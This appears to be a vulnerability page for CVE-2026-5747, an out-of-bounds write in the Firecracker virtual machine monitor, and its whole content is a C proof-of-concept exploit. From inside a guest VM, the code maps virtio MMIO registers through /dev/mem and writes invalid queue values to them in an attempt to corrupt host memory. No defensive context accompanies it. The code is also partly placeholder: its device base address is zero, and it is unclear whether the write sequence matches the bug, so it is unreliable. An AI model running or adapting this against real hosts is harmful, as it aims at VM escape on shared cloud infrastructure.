CVE-2026-5747 Firecracker越界写入漏洞

/* * Conceptual PoC for CVE-2026-5747 * This code attempts to trigger the out-of-bounds write * by modifying virtio queue configuration registers. * Requires root privileges within the guest VM. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #include <fcntl.h> #define VIRTIO_MMIO_QUEUE_SEL 0x030 #define VIRTIO_MMIO_QUEUE_NOTIFY 0x050 // Function to map device memory (simplified) void* map_device_memory(off_t base_addr) { int mem_fd = open("/dev/mem", O_RDWR | O_SYNC); if (mem_fd < 0) { perror("Failed to open /dev/mem (requires root)"); return NULL; } void* mapped = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mem_fd, base_addr); close(mem_fd); return mapped; } int main() { printf("[+] Attempting to trigger CVE-2026-5747...\n"); // Assuming the base address of the virtio device (hypervisor specific) off_t device_base = 0x00000000; volatile unsigned int* virtio_regs = (unsigned int*)map_device_memory(device_base); if (!virtio_regs) { return -1; } // Trigger condition: Modify queue configuration after activation // This specific sequence attempts to corrupt memory via out-of-bounds write printf("[+] Modifying virtio queue registers...\n"); // Writing out of bounds values to queue selection/notify virtio_regs[VIRTIO_MMIO_QUEUE_SEL/4] = 0xFFFF; // Invalid queue index virtio_regs[VIRTIO_MMIO_QUEUE_NOTIFY/4] = 0xFFFFFFFF; printf("[+] Exploit triggered. Check Host VMM status.\n"); return 0; }